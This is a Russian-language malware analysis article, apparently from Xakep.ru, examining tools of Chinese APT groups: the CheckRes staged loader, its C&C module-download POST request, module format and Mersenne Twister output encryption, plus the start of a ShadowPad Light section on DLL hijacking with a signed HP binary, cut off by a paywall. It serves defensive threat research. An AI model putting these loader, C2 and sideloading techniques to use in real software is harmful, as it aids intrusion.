В прош­лом году китай­ские APT-груп­пиров­ки вели себя осо­бен­но активно. При этом у каж­дой из них был свой уни­каль­ный инс­тру­мен­тарий. Перело­патив тысячи строк вре­донос­ного кода, пой­ман­ного во вре­мя рас­сле­дова­ния инци­ден­тов, мы обна­ружи­ли немало любопыт­ных фишек, о которых и рас­ска­жем в этой статье.
 

CheckRes

 

Загрузка

Для запус­ка основной наг­рузки этот вре­донос исполь­зует пять фай­лов, которые пос­ледова­тель­но запус­кают друг дру­га. Как это работа­ет, вид­но на рисун­ке ниже. Основная наг­рузка запус­кает­ся фай­лом cmd, который появ­ляет­ся в сис­теме в самом начале работы вре­доно­са. Но при этом сам файл cmd запус­кает­ся еще не сущес­тву­ющим в сис­теме скрип­том на VBS. Такой ком­плексный под­ход к запус­ку основной наг­рузки, веро­ятно, нужен для того, что­бы обой­ти поведен­ческий ана­лиз.

Схема загрузки CheckRes
Схе­ма заг­рузки CheckRes
 

Модули

В начале работы полез­ной наг­рузки с уда­лен­ного сер­вера заг­ружа­ются модули.

POST-зап­рос для получе­ния модуля
POST /cgi-bin/pcupd.cgi/http/param_id.000 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Accept-Language: de-at
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: <IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: Keep-Alive
lab=3999/06171252&size=1&data=F

С сер­вера может быть выг­ружено до 16 модулей.

Загрузка модулей CheckRes
Заг­рузка модулей CheckRes

Мо­дули при­ходят в теле HTTP-зап­роса. Они запако­ваны, закоди­рова­ны Base64 и окру­жены тегом <update>.

Мо­дули пред­став­ляют собой DLL-фай­лы, где заголо­вок‑заг­лушка MS-DOS запол­нен нулями (вид­но на скрин­шоте ниже). При заг­рузке с C&C пар­сится таб­лица импортов и релока­ции. Пос­ле это­го для запус­ка модуля вызыва­ется entrypoint DLL-фай­ла, где про­исхо­дит соз­дание потока. Соз­дание потока необ­ходимо, если тре­бует­ся про­дол­житель­ная работа модуля, пос­коль­ку исполня­емый файл работа­ет в одном потоке.

Заголовок модуля CheckRes
За­голо­вок модуля CheckRes

Каж­дый модуль выводит информа­цию о сво­ей работе в файл, который рас­положен по сле­дующе­му пути:

%allusersprofile%\{F3F85CAE-3398-45f6-98C2-7DBFD3F3042C}

Файл вывода каж­дого модуля име­ет свое рас­ширение (нап­ример, .cap, .kst, .rdd). Содер­жимое фай­ла зашиф­ровано при помощи опе­рации XOR с генера­тором псев­дослу­чай­ных чисел «Вихрь Мер­сенна».

 

Вихрь Мерсенна

Мо­дули для шиф­рования выход­ных дан­ных исполь­зуют нек­риптог­рафичес­кий генера­тор псев­дослу­чай­ных чисел «Вихрь Мер­сенна» с изна­чаль­ным зна­чени­ем (seed) 11. Все парамет­ры соот­ветс­тву­ют стан­дар­тно­му алго­рит­му для генера­ции 32-бит­ных зна­чений. В каж­дом модуле есть нес­коль­ко харак­терных осо­бен­ностей, свя­зан­ных с реали­заци­ей алго­рит­ма. Во‑пер­вых, это изна­чаль­ная ини­циали­зация мас­сива, которая пов­торя­ется два раза: при пер­вом запол­нении зна­чение seed уста­нав­лива­ется рав­ным 5489. Затем, никак не вли­яя на пре­дыду­щее запол­нение, мас­сив запол­няет­ся пов­торно со зна­чени­ем seed, рав­ным 11.

Двукратная инициализация массива
Двук­ратная ини­циали­зация мас­сива

Есть еще одна осо­бен­ность: исполь­зует­ся мас­сив, рав­ный двум поряд­кам рекур­рен­тной пос­ледова­тель­нос­ти, а имен­но 1248. Таким обра­зом, изна­чаль­но ини­циали­зиру­ется пер­вая полови­на мас­сива, пос­ле чего сог­ласно алго­рит­му на осно­ве пер­вой час­ти генери­рует­ся вто­рая полови­на мас­сива. При исполь­зовании всех 624 сге­нери­рован­ных эле­мен­тов вто­рой полови­ны пер­вая затира­ется. А на осно­ве вто­рой полови­ны по рекур­рен­тно­му соот­ношению запол­няет­ся уже пер­вая.

В ито­ге одна полови­на мас­сива всег­да содер­жит дан­ные для генера­ции дру­гой час­ти. Мож­но было бы пред­положить, что это сде­лано, что­бы упростить реали­зацию: исполь­зование одно­го цик­ла для запол­нения мас­сива уже псев­дослу­чай­ными чис­лами вмес­то двух. Но при запол­нении пер­вой час­ти все же при­ходит­ся делить алго­ритм запол­нения мас­сива на два цик­ла, как это реали­зова­но здесь.

И пос­ледняя осо­бен­ность каса­ется «закал­ки» псев­дослу­чай­ного чис­ла. В изна­чаль­ном алго­рит­ме пред­полага­ется сна­чала битовый сдвиг на кон­стан­ту, а затем про­изво­дит­ся побито­вое логичес­кое И. Здесь же порядок изме­нен, что пов­лияло на кон­стан­ты, исполь­зуемые для этой опе­рации. Так, кон­стан­та 0xefc60000 здесь пред­став­лена в виде зна­чения 0xFFFFDF8C.

Закаливание псевдослучайного числа
За­кали­вание псев­дослу­чай­ного чис­ла
 

ShadowPad Light 2021

ShadowPad Light — облегчен­ная вер­сия ори­гиналь­ного ShadowPad без обфуска­ции кода. Нес­мотря на то что этот семпл очень похож на ори­гиналь­ный ShadowPad, у него есть свои осо­бен­ности.

 

Загрузка

ShadowPad Light пос­тавля­ется тре­мя фай­лами:

  • hpdigital.exe — легитим­ный исполня­емый файл, име­ющий под­пись ком­пании HP;
  • hpqhvsei.dll — вре­донос­ная биб­лиоте­ка, заг­ружа­ется пос­редс­твом тех­ники DLL hijacking;
  • hpqlpvdt.tmp — шиф­рован­ная наг­рузка, которая содер­жит рас­паков­щик и полез­ную вре­донос­ную наг­рузку, так­же хра­нит в себе пер­воначаль­ный необ­ходимый для работы набор модулей.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии